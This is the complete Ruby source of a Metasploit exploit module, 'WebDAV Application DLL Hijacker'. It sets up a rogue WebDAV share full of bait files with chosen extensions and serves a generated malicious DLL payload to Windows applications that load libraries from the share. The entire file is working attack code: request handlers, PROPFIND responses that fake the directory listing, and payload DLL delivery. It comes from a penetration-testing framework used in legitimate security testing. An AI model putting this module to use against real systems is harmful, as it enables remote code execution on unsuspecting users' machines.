## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'WebDAV Application DLL Hijacker', 'Description' => %q{ This module presents a directory of file extensions that can lead to code execution when opened from the share. The default EXTENSIONS option must be configured to specify a vulnerable application type. }, 'Author' => [ 'hdm', # Module itself 'jduck', # WebDAV implementation 'jcran', # Exploit vectors ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'], ['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => '2010-08-18', 'DefaultTarget' => 0)) register_options( [ OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]), OptString.new( 'BASENAME', [ true, "The base name for the listed files.", "policy" ]), OptString.new( 'SHARENAME', [ true, "The name of the top-level share.", "documents" ]), OptString.new( 'EXTENSIONS', [ true, "The list of extensions to generate", "txt" ]) ]) deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if blacklisted_path?(request.uri) print_status("GET => 404 [BLACKLIST] (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if (request.uri =~ /\.(dll|dl|drv|cpl)$/i) print_status("GET => DLL Payload") return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_dll({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Treat index.html specially if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) print_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") resp.body = %Q|| resp['Content-Type'] = 'text/html' cli.send_response(resp) return end # Anything else is probably a request for a data file... print_status("GET => DATA (#{request.uri})") data = "HELLO!" send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("PROPFIND #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri = "http://#{my_host}/" if path !~ /\/$/ if blacklisted_path?(path) print_status "PROPFIND => 404 (#{path})" resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if path.index(".") print_status "PROPFIND => 207 File (#{path})" body = %Q| #{path} #{gen_datestamp} #{rand(0x100000)+128000} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T application/octet-stream HTTP/1.1 200 OK | # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) return else print_status "PROPFIND => 301 (#{path})" resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status "PROPFIND => 207 Directory (#{path})" body = %Q| #{path} #{gen_datestamp} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" httpd/unix-directory HTTP/1.1 200 OK | if request["Depth"].to_i > 0 trail = path.split("/") trail.shift case trail.length when 0 body << generate_shares(path) when 1 body << generate_files(path) end else print_status "PROPFIND => 207 Top-Level Directory" end body << "" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_shares(path) share_name = datastore['SHARENAME'] %Q| #{path}#{share_name}/ #{gen_datestamp} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" httpd/unix-directory HTTP/1.1 200 OK | end def generate_files(path) trail = path.split("/") return "" if trail.length < 2 base = datastore['BASENAME'] exts = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/) files = "" exts.each do |ext| files << %Q| #{path}#{base}.#{ext} #{gen_datestamp} #{rand(0x10000)+120} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T application/octet-stream HTTP/1.1 200 OK | end files end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end # This method rejects requests that are known to break exploitation def blacklisted_path?(uri) return true if uri =~ /\.exe/i return true if uri =~ /\.(config|manifest)/i return true if uri =~ /desktop\.ini/i return true if uri =~ /lib.*\.dll/i return true if uri =~ /\.tmp$/i return true if uri =~ /(pcap|packet)\.dll/i false end def exploit myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\") super end end

Query Builder